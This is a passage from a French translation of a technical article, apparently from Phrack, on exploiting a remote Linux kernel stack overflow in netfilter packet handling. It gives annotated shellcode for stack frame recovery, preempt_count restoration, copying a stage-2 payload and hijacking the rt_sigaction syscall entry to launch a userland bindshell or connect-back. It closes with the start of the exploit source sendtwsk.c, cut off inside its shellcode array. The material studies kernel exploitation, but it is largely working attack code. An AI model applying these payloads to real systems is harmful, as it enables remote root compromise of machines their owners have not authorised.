Pour mieux se rendre compte de l'agencement de la pile après le
débordement, voici un petit schéma :
+-------------+
| |
| |
| JMP -N |-------+ # N est la taille du buffer plus quelques
| | | octets (chaine de ret-to-ret + jmp space)
| | |
| ret-to-jmp |<-+ | # l'adresse du jmp *%esp dans vsyscall
| | | |
| ......... | -+ |
| | | |
| ret-to-ret | -+ | # l'adresse du "ret" dans vsyscal
| | | |
| ret-to-ret | -+ |
| | |
| adresse ret | | # remplissage par ret-to-ret à partir d'ici
| écrasée | |
| | |
| | |
| ^ | |
| | | | # le shellcode est dans le buffer, parce qu'il
| | | est grand, mais il pourrait ausi être
| shellcode | | divisé et placé avant et après l'adresse
| nop | | de retour
| nop |<------+
+-------------+
À ce point, nous contrôlons le flux, mais nous sommes toujours dans le
softirq, nous avons donc besoin d'effectuer une paire de tâches pour que
notre shellcode qui se connecte s'exécute proprement :
- trouver un moyen pour quitter la softirq proprement, puisque nous
avons cassé la pile
- trouver les objets de gestion des ressources qui ont été modifié (si
c'est le cas) et les restaurer vers un état stable
- trouver un endroit pour stocker notre shellcode avant sa prochaine
exécution dans un "contexte de processus" du chemin noyau
- trouver un moyen de forcer ce chemin noyau à exécuter notre shellcode
La première étape est la plus difficile (et n'était pas nécessaire dans
l'exploit madwifi, puisqu'il n'y avait pas de contexte d'interruption),
parce que nous devons écraser le pointeur de retour original et que nous
n'avons aucune connaissance sur l'agencement du .text du noyau et de ses
adresses.
Nous allons maintenant vous présenter des techniques et un shellcode qui
fonctionne pour chacun des points précédents. [Notez que nous les avons
mentionnés par ordre d'"importance conceptuelle", qui est différent de
l'ordre réel d'utilisation dans l'exploit. Plus précisément, elles sont
quasiment dans l'ordre inverse, puisque la dernière étape effectuée par le
shellcode est en fait de sortir du softirq. Nous trouvons cette approche
plus auto-explicative, souvenez-vous juste de cette note pendant les
prochains sous-chapitres].
------[ 3.2.2 - Restauration du flot des cadres de pile
Le but de cette technique est de dérouler la pile, chercher après des
schéma connus et essayer de reconstruire un cadre de pile d'appel, le
status des registres et du pointage d'instruction, juste pour pouvoir
continuer le flot normal. Nous avons besoin de restaurer le pointeur de
pile à une valeur connue et cohérente, restaurer le contenu des registres
pour que le flux d'exécution termine proprement et restaurer tous les
verroux ou autres objets de synchro. qui auraient été modifiés par la
fonction dans laquelle nous avons débordée et celle dans laquelle on veut
retourner.
Notre agencemetn de la pile (d'après le dump cité plus haut) devrait
ressembler, en gros, à ce qui suit :
Agencement de la pile
+---------------------+ bas de la pile
| |
| do_softirq() |
| .......... | /* cadre depile de nf_hook_slow() */
| .......... | +------------------------+
| | | argN |
| | | ... |
| ip_rcv | | arg2 |
| nf_hook_slow | =========> | arg1 |
| ip_rcv_finish | | ret-to-(ip_rcv()) |
| nf_iterate | | saved reg1 |
| | | saved reg2 |
| | | ...... |
| .............. | +------------------------+
| .............. |
| process_twsk_chunk |
| |
+---------------------+ haut de la pile
Comme on l'a dit, nous devons trouver une fonction parmis les cadres
précédents, pas trop loins de celle qu'on a débordé, ayant un "bon schéma"
qui nous aiderait dans nos recherches. Notre meilleur quandidat, dans notre
situation, est de vérifier le passage de paramètres :
#2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0,
indev=0xc1224400, outdev=0x0, ....)
La fonction "nf_hook_slow()" a une bonne "signature" :
- deux dwords consécutifs 0x00000002 et 0x00000002
- deux pointeurs noyaux (dword > 0xC0000000)
- un dword NULL qui suit
On peut se baser sur le fait que ce schéma sera constant, puisque nous
sommes dans la chaine INPUT, traitant les paquets entrant, et donc ayant
toujours "outdev" à NULL, pf = 2 et hook = 1. Le passage de paramètres
n'est pas toujours la seule "signature" possible : en fonction de la
situation, vous pourriez trouver un schéma commun à certaine variable
locale (ce qui serait mieux, parce qu'on a découvert que gcc optimise
quelques paramètres, en les passants via les registres).
En scannant vers l'arrière à partir de du cadre de process_twsk_chunk()
vers celui de nf_hook_slow(), on pourra mettre comme valeur d'%esp
l'endroit où est sauvegardée l'adresse de retour de nf_hook_slow(), et une
fois les conditions correctes recréés, effectuer un "ret" qui nous
permettra de terminer proprement. Nous avons dit "une fois les conditions
correctes recréés" parce que la fonction pourrait attendre certaines
valeurs dans les registres (que nous devons mettre) et pourrait attendre
que certains "verroux" ou "ensembles de preemption" différents de ceux que
nous avons eu lors de l'exploitation. Notre tâche est donc
d'émuler/restaurer toutes ces exigeances.
Pour le faire, nous pouvons commencer à vérifier comment gcc restaure les
registre pendant l'épilogue de la fonction :
c02b6b30 <nf_hook_slow>:
c02b6b30: 55 push %ebp
c02b6b31: 57 push %edi
c02b6b32: 56 push %esi
c02b6b33: 53 push %ebx
[...]
c02b6bdb: 89 d8 mov %ebx,%eax
c02b6bdd: 5a pop %edx ==+
c02b6bde: 5b pop %ebx |
c02b6bdf: 5e pop %esi | restaure
c02b6be0: 5f pop %edi |
c02b6be1: 5d pop %ebp ==+
c02b6be2: c3 ret
Cette sorte d'épilogue, qui est assez commune pour les fonction pas-courtes
nous permet de retrouver l'état des regristres sauvegardés. Une fois que
nous avons trouvé la valeur du "ret" sur la pile, on peut la "dérouler" en
comptant combien de "pop" sont dans le code pour restaurer correctement les
registres. [*]
[*] Ce n'est bien sûr par la seule possibilité, on peut mettre les valeurs
directement avec movl, mais parfois, vous ne pouvez pas utiliser des
valeurs "prédefinies" pour ces registres. Comme note complementaire,
quelques versions de gcc n'utilisent pas le prologue/épiloque avec des
push/pop, mais traduisent le code en séquence de movl (qui demande un
comportement différent du shellcode).
Pour effectuer le "déroulement" correctement (et donc, localiser la
séquence de pop), nous avons besoin de l'adresse noyau de "nf_hook_slow()".
Celle-ci n'est pas difficile à calculer puisque nous avons déjà retrouvé
son adresse de retour dans la pile (grâce à la signature mentionnée plus
haut). Encore une fois, les conventions d'appel de fonction d'Intel nous
aident :
[...]
c02bc8bd: 6a 02 push $0x2
c02bc8bf: e8 6c a2 ff ff call c02b6b30 <nf_hook_slow>
c02bc8c4: 83 c4 1c add $0x1c,%esp
[...]
Ce petit extrait de code est pris de ip_rcv(), qui est la fonction appelant
nf_hook_slow(). Nous avons trouvé l'adresse de retour sur la pile, qui est
0xc02bc8c4, et donc calculer l'adresse de nf_hook_slow est juste une
histoire de calculer le "déplacement" pour un appel relatif (opcode 0xe8,
la convention d'appel standard pour les noyaux compilés par gcc) et de
l'ajouter à la valeur de l'adresse (la convention d'appel relatif d'Intel
ajoute le déplacement vers l'EIP courant) :
[*] call to nf_hook_slow -> 0xe8 0x6c 0x2a 0xff 0xff
[*] nf_hook_slow address -> 0xc02bc8c4 + 0xffffa26c = 0xc02b6b30
Pour mieux comprendre complètement l'approche de Restauraton du Flux de
Cadres de Pile [NDT : Stack Frame Flow Recovery], voici un bout de
shellcode qui le fait, avec de courts commentaires :
- Nous incrémentons ici le pointeur de pile avec la séquence "pop %eax"
et testons la signature connue [ 0x2 0x1 X X 0x0 ].
loop:
"\x58" // pop %eax
"\x83\x3c\x24\x02" // cmpl $0x2,(%esp)
"\x75\xf9" // jne loop
"\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp)
"\x75\xf2" // jne loop
"\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp)
"\x75\xeb" // jne loop
"\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp
- Récupère l'adresse de retour, soustrait 4 octets et déréférence le
pointeur pour avoir l'offset/déplacement de nf_hook_slow(). L'ajoute à
l'adresse de retour pour obtenir l'adresse de nf_hook_slow().
"\x8b\x04\x24" // mov (%esp),%eax
"\x89\xc3" // mov %eax,%ebx
"\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax
- Trouve l'opcode 0xc3 dans nf_hook_slow(), éliminant les "faux" 0xc3.
Dans ce shellcode, nous faisons un simple test pour les opcodes "movl"
et c'est suffisant pour éviter les "faux positifs". Avec un plus grand
shellcode, on pourrait écrire des petites fonctions de désassemblage
qui nous permettraient de faire une meileure recherche de "ret" et
"pop" [Vori plus loin].
increment:
"\x40" // inc %eax
"\x8a\x18" // mov (%eax),%bl
"\x80\xfb\xc3" // cmp $0xc3,%bl
"\x75\xf8" // jne increment
"\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax)
"\x74\xf2" // je increment
"\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax)
"\x74\xec" // je 8048351 increment
- Retour depuis le "ret" qu'on a trouvé vers la dernière instruction pop,
s'il y en a une, et on compte le nombre de "pop"s.
pop:
"\x31\xc9" // xor %ecx,%ecx
"\x48" // dec %eax
"\x8a\x18" // mov (%eax),%bl
"\x80\xe3\xf0" // and $0xf0,%bl
"\x80\xfb\x50" // cmp $0x50,%bl
"\x75\x03" // jne end
"\x41" // inc %ecx
"\xeb\xf2" // jmp pop
"\x40" // inc %eax
- Utiliser ce déplacement calculé à partir du ret pour retrouver la
valeur d'%esp
"\x89\xc6" // mov %eax,%esi
"\x31\xc0" // xor %eax,%eax
"\xb0\x04" // mov $0x4,%al
"\xf7\xe1" // mul %ecx
"\x29\xc4" // sub %eax,%esp
- Met la valeur de retour
"\x31\xc0" // xor %eax,%eax
- appelle l'épilogue de la fonction nf_hook_slow()
"\xff\xe6" // jmp *%esi
Il est maintenant temps de passer à la "deuxième étape", qui est de
restaurer tous les verroux et autres objets de synchronisation vers un état
cohérent pour la fonction nf_hook_slow().
---[ 3.2.3 - Restauration des ressources
Ici, nous faisons attention à restaure ces ressources qui sont nécessaire à
la "fonction de retour détournée" [NDT : "hooked return function"] (et ses
appelants) pour quitter le softirq ou l'interruption proprement.
Jetons un autre coup d'oeil (plus attentif) à nf_hook_slow() :
< linux-2.6.15/net/netfilter/core.c >
int nf_hook_slow(int pf, unsigned int hook, struct sk_buff **pskb,
struct net_device *indev,
struct net_device *outdev,
int (*okfn)(struct sk_buff *),
int hook_thresh)
{
struct list_head *elem;
unsigned int verdict;
int ret = 0;
/* We may already have this, but read-locks nest anyway */
rcu_read_lock(); [1]
[...]
unlock:
rcu_read_unlock(); [2]
return ret; [3]
}
< / >
En [1], "rcu_read_lock()" est invoqué/acquis, mais [2] "rcu_read_unlock()"
n'est jamais effectué, puisque lors du "Stack Frame Flow Recovery", nous
avons déroulé la pile et sauté en [3].
"rcu_read_unlock()" est juste un alias de "preempt_enable()", qui,
finalement se trouve être une simple décrémentation de un de la valeur de
preemt_count dans la structure thread_info :
< linux-2.6.15/include/linux/rcupdate.h >
#define rcu_read_lock() preempt_disable()
[...]
#define rcu_read_unlock() preempt_enable()
< / >
< linux-2.6.15/include/linux/preempt.h >
# define add_preempt_count(val) do { preempt_count() += (val); } while (0)
# define sub_preempt_count(val) do { preempt_count() -= (val); } while (0)
[...]
#define inc_preempt_count() add_preempt_count(1)
#define dec_preempt_count() sub_preempt_count(1)
#define preempt_count() (current_thread_info()->preempt_count)
#ifdef CONFIG_PREEMPT
asmlinkage void preempt_schedule(void);
#define preempt_disable() \
do { \
inc_preempt_count(); \
barrier(); \
} while (0)
#define preempt_enable_no_resched() \
do { \
barrier(); \
dec_preempt_count(); \
} while (0)
#define preempt_check_resched() \
do { \
if (unlikely(test_thread_flag(TIF_NEED_RESCHED))) \
preempt_schedule(); \
} while (0)
#define preempt_enable() \
do { \
preempt_enable_no_resched(); \
barrier(); \
preempt_check_resched(); \
} while (0)
#else
#define preempt_disable() do { } while (0)
#define preempt_enable_no_resched() do { } while (0)
#define preempt_enable() do { } while (0)
#define preempt_check_resched() do { } while (0)
#endif
< / >
Comme vous pouvez le voir, si CONFIG_PREEMPT n'est pas mis, toutes ces
opérations ne sont que des nop's. "preempt_disable()" est "emboitable",
elle peut donc être appelée plein de fois (la preemption va être désactivée
jusqu'à ce qu'on appelle "preempt_enable()" le même nombre de fois). Ça
veut dire que, avec un noyau PREEMPT, nous devrions trouver une valeur plus
grande ou égale à "1" dans preempt_count au "moment de l'exploitation".
Nous pouvons juste ignorer cette valeur ou sinon, nous auront un BUG() plus
tard dans le code du scheduler (voir preempt_schedule_irq() dans
kernel/sched.c).
Ce que nous devons faire, sur un noyau PREEMPT, est donc de trouver
"preempt_count" et de le décrémenter, exactement comme aurait fait
"rcu_read_unlock()". Sous x86, "preempt_count" se trouve dasn la "struct
thread_info" :
< linux-2.6.15/include/asm-i386/thread_info.h >
struct thread_info {
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
unsigned long flags; /* low level flags */
unsigned long status; /* thread-synchronous
flags */
__u32 cpu; /* current CPU */
int preempt_count; /* 0 => preemptable, <0 =>
BUG */
mm_segment_t addr_limit; /* thread address space:
0-0xBFFFFFFF for
user-thead
0-0xFFFFFFFF for
kernel-thread
*/
[...]
< / >
Voyons voir comment on le retrouve :
- trouver la thread_struct
"\x89\xe0" // mov %esp,%eax
"\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax
- scanner la thread_struct pour trouver la valeur de addr_limit. Cette
valeur est une bonne emprunte, puisqu'elle vaut 0xc0000000 pour les
processus en espace utilisateur et 0xffffffff pour ceux en mode noyau
(ou les taches qui idlent). [Notez que cette sorte de scan peut être
fait pour savoir dans quelle sorte de processus on se trouve, ça peut
être très important dans certains scénarios].
/* scan: */
"\x83\xc0\x04" // add $0x4,%eax
"\x8b\x18" // mov (%eax),%ebx
"\x83\xfb\xff" // cmp $0xffffffff,%ebx
"\x74\x0a" // je 804851e <end>
"\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx
"\x74\x02" // je 804851e <end>
"\xeb\xec" // jmp 804850a <scan>
- Décrémente la valeur de "preempt_count" [qui est juste le membre avant
addr_limit]
/* end: */
"\xff\x48\xfc" // decl 0xfffffffc(%eax)
Pour améliorer de futurs shellcodes, il pourrait être une bonne idée
d'effectuer un test sur la valeur de premmpt_count, pour être sûr de ne pas
la descendre en dessous de zéro.
---[ 3.2.4 - Copier le code
Nous venons juste de finir de présenter une méthode générique pour
restaurer la pile après un "cassage général" des cadres de netfilter. Ce
qu'on doit faire maintenant est de trouver de la place pour stocker notre
shellcode, puisque nous ne pouvons pas (comme on l'a déjà dit) l'exécuter
directement dans le contexte d'interruption. [Souvenez vous de la note,
cette étape et la suivante sont exécutées avant de sortir du contexte du
softirq].
Puisque nous ne savons presque rien sur le mappage mémoire de l'image du
noyau distant, nous devons trouver un "endroit sûr" pour stocker notre
shellcode, c'est à dire, on doit trouver une région mémoire qu'on peut
référencer de manière sûre et qui ne créera pas de problèmes (lire : Oops)
si écrasée.
Il y a deux endroits où on peut copier notre shellcode "stage-2" :
- IDT (Interrupt Description Table) : on peut facilement trouver
l'adrese logique de l'IDT à l'exécution (comme on l'a vu plus haut avec
l'exemple de "null dereference") et Linux n'utilise que le vecteur
d'interruption logiciel 0x80 :
+-----------------+
| exeptions |
|-----------------|
| interrputions |
| matérielles |
|-----------------| entrée #32 ==+
| | |
| interruptions | |
| logicielles | | partie utilisable
| | |
| | |
| | ==+
| int 0x80 | entrée #128
| |
+-----------------+ <- limite d'offset
entre l'entrée #32 et l'entrée #128, nous avons des entrées
inutilisées, toutes faisant 8 octets de long. Les Linux actuels ne
mapent pas cette région mémoire en lecture seule [comme ça devrait
être le cas], donc, nous pouvons y écrire. Nous avons alors :
(128 - 32) * 8 = 98 * 8 = 174 octets, ce qui est suffisant pour notre
shellcode "stage-2".
[*] A partir des noyaux Linux 2.6.20, il est possible de mapper des
zones mémoire en lecture seule [L'idt est juste l'une d'entre
elles]. Puisqu'on ne "débute" pas par l'écriture dans l'IDT et son
exécution, il serait possible de contourner ces protection en
modifiant directement les protections de pages noyau dans une
"étape précédente" du shellcode.
- La pile noyau courante : nous avons ici besoin de faire une hypothèse,
qui est d'être dans un processus qui durera un certain temps (jusqu'à
ce qu nous soyons capables de rediriger le code noyau vers notre
shellcode, comme on va le voir dans la section suivante).
D'habiture, la pile ne grandis pas jusqu'aux 4ko, nous avons donc
quasiment une page de 4ko pour nous (si bien sûr le système distant
utilise une pile de 8 ko). Pour être sûr, on peut laisser un espace
(pad) avant le shellcode. Nous devons faire attention à la
"thread_struct" stockée au "pied" de la pile noyau (et que nous ne
voulons logiquement pas écraser ;) ) :
+-----------------+
| thread_struct |
|---------------- | ==+
| | | espace utilisatble
| | |
|-----------------| ==+
| |
| ^ |
| | | [ normalement, la pile ne grandis ]
| | | [ pas jusqu'à 4 Ko ]
| |
| ring0 stack |
+-----------------+
En tout, nous avons : (8192 - 4096) - izeof(descriptor) - pad ~= 2048
octets, qui est encore plus que tout à l'heure. Avec un shellcode plus
complexe, on peut traverser la table des processus et chercher un
"processus sûr" (init, quelques threads noyaux, quelques processus de
serveurs principaux).
Jetons un coup d'oeil au shellcode qui effectue tout ça :
- Récupérer l'adresse de la pile où nous sommes [le truc über-connu du
call/pop]
"\xe8\x00\x00\x00\x00" // call 51 <search+0x29>
"\x59" // pop %ecx
- scanner la pile jusqu'à trouver le "promoteur" de notre morceau de
"stage-2". Nous mettons un octet \xaa au début, et c'est le seul
présent dans le shellcode. Le "addl $10" est juste là pour commencer le
scan après le "cmp $0xaa, %al", qui nous donnerais sinon un faux
positif pour \xaa.
"\x83\xc1\x10" // addl $10, %ecx
"\x41" // inc %ecx
"\x8a\x01" // mov (%ecx),%al
"\x3c\xaa" // cmp $0xaa,%al
"\x75\xf9" // jne 52 <search+0x2a>
- Nous avons trouvé le début du shellcode, copions-le dans un "endroit
sûr" jusqu'à la "séquence terminatrice" (\xbb). L' "endroit sûr" ici
est sauvegardé dans le registre %esi. Nous n'avons pas montré comment
le calculer parce qu'il est directement dérivé du shellcode utilisé
dans la prochaine section (c'est simplement quelque part dans la pile).
Ce code pourrait être optimisé en sauvegardant le "stage-2" dans %ecx
et utiliser rep/repnz en conjonction à des instructions mov.
"\x41" // inc %ecx
"\x8a\x01" // mov (%ecx),%al
"\x88\x06" // mov %al,(%esi)
"\x46" // inc %esi
"\x41" // inc %ecx
"\x80\x39\xbb" // cmpb $0xbb,(%ecx)
"\x75\xf5" // jne 5a <search+0x32>
[ Pendant la phase de développement de l'exploit, nous avons changé la
partie "stage-2" une paire de fois, c'est pour ça qu'on a gardé ce
genre d'opérations de copies, même si c'est moins élégant :) ]
---[ 3.2.5 - Exécuter le code en mode utilisateur [ Donne moi vie ! ]
OK, nous avons un "endroit sûr", tout ce que nous avons besoin maintenant
est un "moment sûr", c'est à dire un contexte d'exécution pour s'y
exécuter. La première solution "facile" qui pourrait venir à l'esprit
serait d'écraser l'interruption logicielle #128 [int 0x80], pour qu'elle
pointe vers notre code. Le premier processus lançant un appel système
deviendrait notre "processus victime". Cette approche à de toute façon
deux défauts majeurs :
- Comme nous n'avons aucun moyen d'intercepter un processus utilisant
sysenter pour accéder à l'espace noyau (que se passerait-il si ils le
faisaient tous ? ça serait bête d'échouer de cette manière).
- nous ne pouvons pas contrôler tous les processus qui sont "détournés"
et ça serait "désastreux" si l'un d'entre eux était "init" ou un
processus critique, puisque nous alons emprunter son espace
utilisateur pour nous exécuter (un bindshell ou un connect-back n'est
pas un processus qui dure peu de temps).
Nous devons aller plus en profondeur dans le noyau pour effectuer un bon
détournement. Notre choix a été d'utiliser la table des appels systèmes et
de redirriger un appel système qui avait une grande probabilité d'être
appelé et que nous sommes sûr qu'il ne soit pas utilisé dans init ou un
processus critique. Notre choix, après une paire de tests, a été de
détourner l'appel système rt_sigaction, mais ce n'est pas le seul. Ça a
juste bien fonctionné pour nous.
Pour trouver correctement la table des syscalls en mémoire, nous utilisons
un bout de code que sd et devik ont présenté dans leur papier dans phrack
[23] sur le patching de /dev/kmem :
- nous récupérons l'adresse de la pile courante, calculons le début de la
thread_struct et ajoutons 0x1000 (le pad) [valeur symbolique assez
loins à la fois du summet de la pile et de la thread_struct]. Voici où
nous mettons la valeur d'%esi que nous avions annoncée comme
"magiquement déjà là" dans la partie shellcode discutée plus haut :
"\x89\xe6" // mov %esp,%esi
"\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi
"\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi
- le code de sd & devik légèrement adapté.
"\x0f\x01\x0e" // sidtl (%esi)
"\x8b\x7e\x02" // mov 0x2(%esi),%edi
"\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi
"\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx
"\xc1\xe3\x10" // shl $0x10,%ebx
"\x66\x8b\x1f" // mov (%edi),%bx
"\x43" // inc %ebx
"\x8a\x03" // mov (%ebx),%al
"\x3c\xff" // cmp $0xff,%al
"\x75\xf9" // jne 28 <search>
"\x8a\x43\x01" // mov 0x1(%ebx),%al
"\x3c\x14" // cmp $0x14,%al
"\x75\xf2" // jne 28 <search>
"\x8a\x43\x02" // mov 0x2(%ebx),%al
"\x3c\x85" // cmp $0x85,%al
"\x75\xeb" // jne 28 <search>
"\x8b\x5b\x03" // mov 0x3(%ebx),%ebx
- Logiquement, nous avons besoin de sauvegarder l'adresse originale du
syscall quelque part et nous avons décidé de la mettre juste avant le
shellcode "stage-2" :
"\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx
"\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi)
"\x8b\x13" // mov (%ebx),%edx
"\x89\x56\xfc" // mov %edx,0xfffffffc(%esi)
"\x89\x33" // mov %esi,(%ebx)
Comme vous le voyez, nous sauvegardons l'adresse de l'entrée rt_sigaction
[offset 0x2b8] dans la table de syscall (nous en aurons besoin au moment de
la restauration, pour éviter de la racalculer une deuxième fois) et
l'adresse originale de la fonction elle-même (le complément de ce qui est
ci-dessus est la phase de restauration). Nous faisons pointer l'entrée
rt_sigaction vers notre shellcode : %esi. Maintenant, il devrait être plus
clair pourquoi la section précédente avait une adresse de destination
"magique" dans %esi pour copier le code.
Le premier processus effectuant un appel à rt_sigaction donnera vie à notre
shellcode stage-2, qui est l'étape finale avant d'avoir notre connect-back
ou notre bindshell qui s'exécute. [Ou n'importe quel shellcode que vous
aimez ;) ] Nous sommes toujours en mode noyau, mais notre but final est
d'exécuter le shellcode en mode utilisateur, nous avons donc besoin
d'effectuer un paquet d'opérations.
Il y a en gros deux méthodes (pas seulement deux, mais surement les plus
faciles et plus efficaces) pour arriver à nos fins :
- Trouver l'EIP sauvegardé, désactiver temporairement le flag de
registre de contrôle WP, copier le shellcode quelque part en userland
et réactiver le flag WP [ça peut être potentiellement dangeraux sur
SMP]. Si le syscall est appellé via sysenter, l'EIP sauvegardé pointe
dans la table de vsyscall, nous avons donc besoin de "scanner" le
cadre de la pile "jusqu'au ret" (pas trop différent de ce qu'on a fait
dans l'étape de "stack frame recovery", c'est juste plus facile ici),
pour récupérer la vraie EIP sauvegardée après le "return du vsyscall" :
0xffffe410 <__kernel_vsyscall+16>: pop %ebp
0xffffe411 <__kernel_vsyscall+17>: pop %edx
0xffffe412 <__kernel_vsyscall+18>: pop %ecx
0xffffe413 <__kernel_vsyscall+19>: ret
Comme on peut le voir, la première adresse exécutée en userspace
(inscriptible) est à "saved *(ESP + 12)".
- Trouver l'ESP sauvegardé ou utiliser les paramètres sauvegardés du
syscall pointant vers un buffer en espace utilisateur, y copier le
shellcode et écraser l'adresse EIP sauvegardée par ESP (ou l'adresse
du buffer en espace utilisateur)
La deuxième méthode est préférable (plus facile et plus sûre), mais si nous
jouons avec une architecture qui supporte le NX-bit, ou avec un patch
logiciel qui l'émule (pour marquer la pile et éventuellement le tas comme
non-exécutable), nous devrions retourner à la première, plus intrusive
sinon notre processus en mode utilisateur va juste segfaulter en tentant
d'exécuter le shellcode. Puisque nous avons un contrôle total sur les
données noyau relatives au processus, nous pouvons aussi copier le
shellcode dans un endroit spécifié et puis modifier les protections de la
page. [Pas différent de l'idée proposée plus haut pour les IDT en lecture
seule dans la section de copiage du code].
Encore une fois, rentrons dans les détails :
- le truc habituel du call/pop pour avoir l'adresse où nous sommes
"\xe8\x00\x00\x00\x00" // call 8 <func+0x8>
"\x59" // pop %ecx
- corrige la table des syscalls avec l'adresse originale de rt_sigaction
[ si ces 0xff8 et 0xffc n'ont aucun sens pour vous, souvenez vous juste
que nous ajoutons 0x1000 à l'adresse de thread_struct dans la pile
pour calculer notre "endroit sûr" et que nous stockons juste avant, à
la fois l'adresse de l'entrée de rt_sigaction dans la table des
syscalls et l'adresse de la fonction elle-même. ]
"\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx
"\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx
"\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax
"\x89\x03" // mov %eax,(%ebx)
- Trouve l'ESP userland et écrase l'EIP userlande avec lui [methode 2]
"\x8b\x74\x24\x38" // mov 0x38(%esp),%esi
"\x89\x74\x24\x2c" // mov %esi,0x2c(%esp)
"\x31\xc0" // xor %eax,%eax
- Une fois encore, nous utilisons un promoteur (\x22) pour localiser
notre shellcode que nous voulons copier sur la pile. Appellons-le
"shellcode stage-3". Nous utilisons juste un autre truc simple pour
trouver le promoteur et éviter les faux positifs : au lieu de sauger
après (comme on l'a fait pour le \xaa), nous mettons '(valeur
promoteur) - 1' dans %al et l'incrémentons. La copie est exactement la
même (avec les mêmes "notes") que nous avons déjà vu.
"\xb0\x21" // mov $0x21,%al
"\x40" // inc %eax
"\x41" // inc %ecx
"\x38\x01" // cmp %al,(%ecx)
"\x75\xfb" // jne 2a <func+0x2a>
"\x41" // inc %ecx
"\x8a\x19" // mov (%ecx),%bl
"\x88\x1e" // mov %bl,(%esi)
"\x41" // inc %ecx
"\x46" // inc %esi
"\x38\x01" // cmp %al,(%ecx)
"\x75\xf6" // jne 30 <func+0x30>
- retourne du syscall et laisse le processus terminer proprement en mode
utilisateur. Le contrôle sera transféré à notre eip modifié et le
shellcode sera exécuté.
"\xc3" // ret
Nous avons utilisé une valeur "fixe" pour trouver ESP/EIP en espace
utilisateur, qui a très bien fonctionné pour les noyaux/applications noyau
que nous avons testés (allant au syscall via int 0x80). Avec un peut plus
de travail (qui vaut la peine), vous pouvez éviter ces hypothèses d'offsets
en implémentant un code similaire à celui pour la technique de "stack frame
recovery".
Jetons un coup d'oeil aux EIP,ESP,CS et SS sauvegardés avant de sauter en
mode noyau :
pile ring0 :
+--------+
| SS |
| ESP | <--- ESP sauvegardé
| EFLAG |
| CS |
| EIP | <--- EIP sauvegardé
|...... |
+--------+
Tous les noyaux "non patchés" auront les mêmes valeurs pour SS et CS et
nous pouvons les utiliser comme empruntes pour localiser ESP et EIP (que
nous pouvons testés pour voir si elles sont en dessous de PAGE_OFFSET [*]).
[*] Comme nous l'avons déjà dit, les derniers noyaux il peut y avoir une
autre séparations d'adresses utilisateur/noyau que 0xc0000000 [des
configurations 2G/2G ou 1G/3G]
Nous ne montrerons pas ici le shellcode "stage-3" puisque c'est un
shellcode bindsehll "utilisateur" standard. Utilisez simplement celui dont
vous avez besoin.
---[ 3.2.6 - Le Code : sendtwsk.c
< stuff/expl/sendtwsk.c >
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
/* from vuln module */
#define MAX_TWSKCHUNK 30
/* end */
#define NOP 0x90
#define OVERFLOW_NEED 20
#define JMP "\xe9\x07\xfe\xff\xff"
#define SIZE_JMP (sizeof(JMP) -1)
#define TWSK_PACKET_LEN (((MAX_TWSKCHUNK * sizeof(struct twsk_chunk)) +
OVERFLOW_NEED) + SIZE_JMP \
+ sizeof(struct twsk) + sizeof(struct iphdr))
#define TWSK_PROTO 37
#define DEFAULT_VSYSCALL_RET 0xffffe413
#define DEFAULT_VSYSCALL_JMP 0xc01403c0
/*
* Trouve la valeur correcte..
alpha:/usr/src/linux/debug/article/remote/figaro/ip_figaro# ./roll
val: 2147483680, 80000020 result: 512
val: 2147483681, 80000021 result: 528
*/
#define NEGATIVE_CHUNK_NUM 0x80000020
char shellcode[]=
/* détourne sys_rtsigaction() et copie le shellcode de niveau 2 (72) */
"\x90\x90" // nop; nop; [alignment]
"\x89\xe6" // mov %esp,%esi
"\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi
"\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi
"\x0f\x01\x0e" // sidtl (%esi)
"\x8b\x7e\x02" // mov 0x2(%esi),%edi
"\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi
"\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx
"\xc1\xe3\x10" // shl $0x10,%ebx
"\x66\x8b\x1f" // mov (%edi),%bx
"\x43" // inc %ebx
"\x8a\x03" // mov (%ebx),%al
"\x3c\xff" // cmp $0xff,%al
"\x75\xf9" // jne 28 <search>
"\x8a\x43\x01" // mov 0x1(%ebx),%al
"\x3c\x14" // cmp $0x14,%al
"\x75\xf2" // jne 28 <search>
"\x8a\x43\x02" // mov 0x2(%ebx),%al
"\x3c\x85" // cmp $0x85,%al
"\x75\xeb" // jne 28 <search>
"\x8b\x5b\x03" // mov 0x3(%ebx),%ebx [get
sys_call_table]
"\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx [get
sys_rt_sigaction offset]
"\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi) [save
sys_rt_sigaction]
"\x8b\x13" // mov (%ebx),%edx
"\x89\x56\xfc" // mov %edx,0xfffffffc(%esi)
"\x89\x33" // mov %esi,(%ebx) [make
sys_rt_sigaction point to our shellcode]
"\xe8\x00\x00\x00\x00" // call 51 <search+0x29>
"\x59" // pop %ecx
"\x83\xc1\x10" // addl $10, %ecx
"\x41" // inc %ecx
"\x8a\x01" // mov (%ecx),%al
"\x3c\xaa" // cmp $0xaa,%al
"\x75\xf9" // jne 52 <search+0x2a>
"\x41" // inc %ecx
"\x8a\x01" // mov (%ecx),%al
